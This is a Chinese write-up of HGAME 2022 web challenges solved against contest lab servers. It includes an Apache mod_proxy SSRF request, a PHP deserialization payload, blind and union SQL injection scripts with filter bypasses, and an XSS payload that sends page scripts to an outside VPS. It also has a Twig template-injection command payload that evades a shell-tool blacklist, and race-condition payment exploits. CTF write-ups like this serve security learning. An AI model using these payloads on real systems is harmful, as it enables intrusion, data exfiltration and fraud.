HGAME 2022web部分题解
本文最后更新于:2022年10月19日 下午
第一周题目没啥意思就不写wp了(懒
第二周
Apache!
Ooops,Summ3r 的机器被大黑阔打穿了!不过还好 Summ3r 有备份的习惯,把 flag 备份在了内网的某台机器上面,嘿嘿嘿。。。
进入题目发现显示为ERROR 500,右键查看源码发现www.zip
,下载得到四个文件,依次查看发现
需要访问/flag
得到flag
使用了mod_proxy做反向代理,存在/proxy
代理
结合题目的apache2.4.48和内网,猜测为apache+ssrf,为CVE-2021-40438
参考文章:https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
多发送几次得到flag
/proxy?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/flag
webpack-engine
webpack packs the web.
(请使用 Chrome 浏览器打开)
访问发现是一个按钮,应该是js触发的,F12发现
发现webpack://./src/views/Fl4g_1s_her3.vue
,base64解码一下内容
发现flag,再进行两次base64解码即可
hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}
一本单词书
为了顺利通过六级,Summ3r用世界上最好的语言写了个单词书,嘿嘿嘿
查看源码发现www.zip
,那么就可以得到源码了
发现用户名为adm1n
,密码不能纯数字并且弱等于1080,直接1080a
就可以了
evil.php:
<?php
class Evil {
public $file;
public $flag;
public function __wakeup() {
$content = file_get_contents($this->file);
if (preg_match("/hgame/", $content)) {
$this->flag = 'hacker!';
}
$this->flag = $content;
}
}
这里应该是写反了,应该将$content
的值赋为$this->flag
,不然过滤没起到作用
如果过滤了的话可以使用伪协议将文件内容进行加密,即:php://filter/convert.base64-encode/resource=/flag
get.php:
<?php
session_start();
include 'admin_check.php';
include 'evil.php';
// flag is in /flag
function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}
function loadSessionData(): Array {
$filename = '/tmp/'.$_SESSION['unique_key'].'.session';
if (file_exists($filename)) {
$str = file_get_contents($filename);
return decode($str);
} else {
file_put_contents($filename, '');
return [];
}
}
echo json_encode(loadSessionData());
save.php:
<?php
session_start();
include 'admin_check.php';
function encode($data): string {
$result = '';
foreach ($data as $k => $v) {
$result .= $k . '|' . serialize($v);
}
return $result;
}
function saveSessionData() {
$filename = "/tmp/".$_SESSION['unique_key'].'.session';
$data = json_decode(file_get_contents("php://input"));
$str = encode($data);
file_put_contents($filename, $str, FILE_APPEND);
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
saveSessionData();
} else {
echo 'method not allowed';
}
首先是save.php,保存的文件名为
$filename = "/tmp/".$_SESSION['unique_key'].'.session';
文件内容为POST传参的值进行json_decode解码,然后再encode加密。发现会对json的值序列化,并且在前面加一个标志|
进入到get.php,在decode函数内存在unserialize,会反序列化json的值。decode函数首先查找|
的位置,然后前面的值为$varname
,后面的值为$dataItem
,那么我们可以在键中插入|
,让$dataItem
为我们可控的值,即:
{"aaaa|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";N;}":"aaaa"}
发送即可得到flag
Pokemon
选择你的宝可梦吧,召唤师!
sql注入,一开始的index.php界面没有啥思路,转到error.php?code=404'
会报错,发现一些关键字都被过滤了,被替换为空,还过滤了空格和=
根据这个界面尝试双写,发现成功绕过过滤
布尔盲注
发现||1
成功执行,那么就存在布尔盲注了,=可以使用rklie替换,剩下的双写绕过即可,payload:
import requests
url = 'http://121.43.141.153:60056/error.php?code=-1'
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = "0||if(ascii(substr((seselectlect/*/**/*/database()),{},1))>{},1,0)%23" .format(x, mid)
#payload = "0||if(ascii(substr((seselectlect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/rlike/*/**/*/'pokemon'),{},1))>{},1,0)%23" .format(x, mid)
#payload = "0||if(ascii(substr((seselectlect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_name/*/**/*/rlike/*/**/*/'fllllllllaaaaaag'),{},1))>{},1,0)%23" .format(x, mid)
payload = "0||if(ascii(substr((seselectlect/*/**/*/flag/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),{},1))>{},1,0)%23" .format(x, mid)
response = requests.get(url+payload,timeout=5)
if b'404 Pokemon not found403 Forbidden' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
联合注入
看了wp发现其实可以直接联合盲注,sb了
- 绕过空格:使用
/*1*/
或者/*/**/*/
- 绕过 union,select,where,from,and,or:双写绕过: union => uniunionon
- 绕过 =:使用 like 或者 regexp
#查询数据库 404/*1*/ununionion/*1*/selselectect/*1*/111,database() #查询表 404/*1*/ununionion/*1*/selselectect/*1*/111,group_concat(table_name)/*1*/frfromom/*1*/infoorrmation_schema.tables/*1*/whewherere/*1*/table_schema/*1*/regexp/*1*/"^pokemon$" #查询列 404/*1*/ununionion/*1*/selselectect/*1*/111,group_concat(column_name)/*1*/frfromom/*1*/infoorrmation_schema.columns/*1*/whewherere/*1*/table_name/*1*/regexp/*1*/"^fllllllllaaaaaag$" #查询 flag 404/*1*/ununionion/*1*/selselectect/*1*/111,flag/*1*/frfromom/*1*/fllllllllaaaaaag
At0m的留言板
留言站被日了之后At0m去认真学了下Web安全,这回就算是大茄子来了也别想轻易日开。
https://at0m-hgame-wall0-1308188104.cos.ap-singapore.myqcloud.com/template.html
抢先试用At0m的留言板请加微信公众号:宅男的天台
发现flag在script内
关注公众号后发消息会收到一个链接,打开是图片并且回显我们传入的值,发现可以解析html语句,但script被过滤了
使用<a>
或<img>
标签都可以正常解析
<img src="#" onerror=alert('xss')>
非预期
弹窗并不会显示,先尝试使用xss平台获取网页源码,发现失败了,换成vps,然后使用document.querySelector
获取script元素,这里需要使用encodeURI
进行加密,也可以使用window.btoa
进行base64加密
HTML DOM querySelector() 方法
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://vps:ip/'+encodeURI(document.querySelector('script').textContent);>
除夕给了个红包,然后发现上面payload获取不了,这里需要使用document.getElementsByTagName('script')[1]
或者document.querySelectorAll('script')[1]
获取 NodeList 对象来得到值
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://vps:ip/'+window.btoa(document.getElementsByTagName('script')[1].textContent);>
然后解jsfuck的时候红包没了。。。。。
预期
这也是模板html的提示点:为什么同样是两个变量,第一个使用let,而第二个使用var呢?因为使用 var 可以利用
Object.keys(window)
拿到全局变量 flag 的变量名,而使用let的话无法获取
看了wp发现其实可以直接输出的,直接修改class="content"
下面的数值为我们需要的数值即可,其实蛮简单的。。。
HTML DOM getElementsByClassName() 方法Object.keys()
方法会返回一个由给定对象的自身可枚举属性组成的数组
全局变量是 window 对象的属性
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = Object.keys(window)">
最后使用
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = F149_is_Here">
第三周
SecurityCenter
道路千万条,安全第一条
题目环境每 5min 重置一次
发现存在提示/vendor/composer/installed.json
访问发现使用了twig v3.3.7模板
可参考:Twig 模板注入从零到一,使用{{2*2}}
成功解析,那么就存在漏洞,尝试使用payload {{["id"]|map("system")}}
,执行成功
那么读取源码:
{{["ca''t redirect.php|base64"]|map("system")}}
<?php
use Twig\Environment;
use Twig\Loader\ArrayLoader;
require_once 'vendor/autoload.php';
error_reporting(0);
$text = '';
if (isset($_GET['url'])) {
$loader = new ArrayLoader();
$twig = new Environment($loader);
$url = $_GET['url'];
$blacklist = "/cat|bash|sh|nc|netcat|apk|apt/i";
if (preg_match($blacklist, $url)) {
$url = "Hacker!";
}
$template = $twig->createTemplate("您即将离开本页面,请注意您的帐号和财产安全! </br> {$url}");
$text = $template->render();
if (preg_match('/hgame/i', $text)) {
$text = 'Hacker! preg_match(\'/hgame/i\', $text)';
}
}
?>
最后读取flag
{{["ca''t /flag|base64"]|map("system")}}
Vidar shop demo
首先我们测试注册、登录、创建订单、支付、删除等功能,发现删除订单后会退还余额
然后进行抓包,发现在/api/order/list
中修改为别人的uid可以得到他们的订单,但实际帮助不大
非预期
尝试了半天,最后在删除订单处抓包,修改id为我们未支付的订单id
发现成功删除,并且获得了10000余额
最后就可以购买flag了
预期
想到过可能是条件竞争,用bp没爆破出来,思路错了
在这里,先查询出用户余额,然后创建订单,最后更新用户余额(余额值取自查询出的余额扣除订单金额)。整个过程持续了超过500ms(正常不会这么慢,特地sleep是为了方便做题)。所以假如在500ms内有同一个用户的多个不同订单的支付请求打进来,不妨假设查询到的用户余额都是100币(因为还没超过500ms,第一个请求还未更新用户余额),那么最终的结果是订单全部支付成功,但是用户的余额仅仅更新为了(100-最后一个订单金额)。
最后再手动依次取消支付成功的订单,余额就会变多
就是同时支付两个订单,但只会消耗一个订单的价钱,官方的exp:
type Ts struct {
Uid int `json:"uid"`
Oid int `json:"oid"`
Amount int `json:"amount"`
}
func TestHgame(T *testing.T) {
var ts Ts
ts.Uid = 1
ts.Oid = 7
ts.Amount = 5
go gorequest.New().Post("http://127.0.0.1:8003/api/pay/create").Set("Authorization", "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM3NTAyNjEsImlhdCI6MTY0MzY2Mzg2MSwidWlkIjoxfQ.b1QV-ubi277QQobG9sS-T4XKq0P78wGMlKZ3aQTFiNE").SendStruct(&ts).End()
var ts2 Ts
ts2.Uid = 1
ts2.Oid = 8
ts2.Amount = 5
go gorequest.New().Post("http://127.0.0.1:8003/api/pay/create").Set("Authorization", "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM3NTAyNjEsImlhdCI6MTY0MzY2Mzg2MSwidWlkIjoxfQ.b1QV-ubi277QQobG9sS-T4XKq0P78wGMlKZ3aQTFiNE").SendStruct(&ts2).End()
time.Sleep(5 * time.Second)
}
这里我写了一个python的exp:
import requests
import json
import _thread
session=requests.session()
token = "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQ3MzMxODAsImlhdCI6MTY0NDY0Njc4MCwidWlkIjo0OTh9.q2WZsYbLusLvCUD7Yvaj41Ex64DYSJI6xSLIouyIrfI"
url = "http://d47b8324e1.vidar-shop.mjclouds.com/api/pay/create"
data1 = json.dumps({"uid":498,"oid":42563,"amount":40})
data2 = json.dumps({"uid":498,"oid":42564,"amount":20})
def step1(session):
r1 = session.post(url,data = data1,headers = {"Content-Type":"application/json",'Authorization': token})
def step2(session):
r2 = session.post(url,data = data2,headers = {"Content-Type":"application/json",'Authorization': token})
if __name__ == "__main__":
try:
_thread.start_new_thread( step1, (session,) )
_thread.start_new_thread( step2, (session,) )
except:
print ("Error: 无法启动线程")
while 1:
pass
价钱成功增加,就可以购买flag了
LoginMe(复现)
/static/hint.webp
发现存在提示
其实题目蛮简单的,但是我没试出来。。。用这个test')/**/and/**/1--
就可以成功登录了
题目是sqlite 数据库,sqlite 中获取表和列的方式为
select sql from sqlite_master where type='table'
看了wp写了个二分法的脚本
import requests
import json
url = 'http://a9a6641000.login.summ3r.top:60067/login'
result = ''
for x in range(1, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#username = "test')/**/and/**/substring((select/**/sql/**/from/**/sqlite_master),{},1)>'{}'--" .format(x,chr(mid))
username = "test')/**/and/**/substring((select/**/password/**/from/**/uuussseeerrrsss),{},1)>'{}'--" .format(x,chr(mid))
payload = json.dumps({"username":username,"password":"test"})
response = requests.post(url,data=payload,timeout=5,headers = {"Content-Type":"application/json"})
if b'success' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!